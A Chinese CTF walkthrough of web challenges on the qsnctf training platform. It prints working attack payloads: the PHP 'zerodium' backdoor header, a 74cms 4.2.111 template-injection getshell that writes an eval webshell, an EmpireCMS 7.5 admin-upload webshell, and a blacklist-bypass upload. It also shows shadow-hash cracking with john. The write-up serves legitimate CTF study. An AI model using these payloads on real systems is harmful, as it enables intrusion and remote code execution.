青少年CTF训练平台-WEB-部分wp
这两天因为别人问了下题目.打开后,闲着没事,去做了两道题目。顺便发出来wp.
Web签到
扫描发现备份文件
打开发现flag
easyupload
直接上传,然后获取flag
木马地址,通过扫描目录发现。
PHP的后门
直接添加请求头
user-agentt: zerodiumsystem(‘cat /flag’);
q1jun的小秘密
连接之后,查找具有suid
权限的命令
根据提示直接发现flag
提示说明没有中文
但是仍然错误,查看shadow,通过john破解密码
用户名后有$y,则表明密码已使用 yescrypt 进行哈希处理
指定format参数
john --format=crypt shadow
最后得到flag qsnctf{ikun_Do_Y0u_p1ay_b4sketba11}
新手的登录
使用提示的user账号登录之后
抓包修改cookie为admin。发包,得到flag
吃豆人
访问之后直接查看js文件,
发现base64编码,解码之后发现flag
F14G
抓包经过测试
验证请求头为: CF-Connecting-IP
参数为IP
这个规则比较重要.
所以我们直接发包即可
从0-255
然后提取flag
骑士CMS01
提示弱口令.访问后台
随便输入得到账号密码 为admin
/admin
查看版本发现是 74cms v 4.2.111
找到对应版本的POC
利用漏洞getshell
url: http://74cms.test/index.php?m=Admin&c=Tpl&a=set&tpl_dir= ', 'a',phpinfo(),'
shell地址: /Application/Home/Conf/config.php
url: http://74cms.test/index.php?m=Admin&c=Tpl&a=set&tpl_dir= ', 'a',eval($_REQUEST[a]),'$_REQUEST[a]
获取flag
POST&GET
ezupload
审计代码,发现黑名单中没有 php
后缀.
没有其他校验方式.直接上传即可。
<?php
@error_reporting(0);
date_default_timezone_set('America/Los_Angeles');
highlight_file(__FILE__);
if (isset($_POST['submit'])){
$file_name = trim($_FILES['upload_file']['name']);
$black = array(".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
if (!in_array($file_ext, $black)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = 'upload'.'/'.date("His").rand(114,514).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
}else {
$msg = '你传啥玩意??';
}
}
if($is_upload){
echo '呀,(传)进去了欸~';
}
?>
这是文件的路径.
$img_path = 'upload'.'/'.date("His").rand(114,514).$file_ext;
可以爆破出来,关键在于 date的时区在上面已经定义。
date_default_timezone_set('America/Los_Angeles');
为了尽可能的减少请求的次数,
在本地同步模拟发包时间,减小范围
这是载荷
获取flag
帝国CMS01
扫描目录发现备份文件
本来以为在里面发现sql文件需要登录后台。
不过在后台目录下面发现shell文件/
直接访问
获取flag
帝国CMS02
扫描目录发现备份文件已经删除了。
尝试弱口令,
admin
/ 123465789
登录成功。
在首页发现flag
帝国CMS03
尝试弱口令,
admin
/ 123465789
登录成功。
尝试利用 7.5版本的 后台命令执行漏洞
创建名为shell.php.mod的文件在本地,内容如下
注意转义,否则会失败
<?php file_put_contents("shell.php","<?php eval(\$_REQUEST[swback]); ?>"); ?>
在如下位置上传
获取flag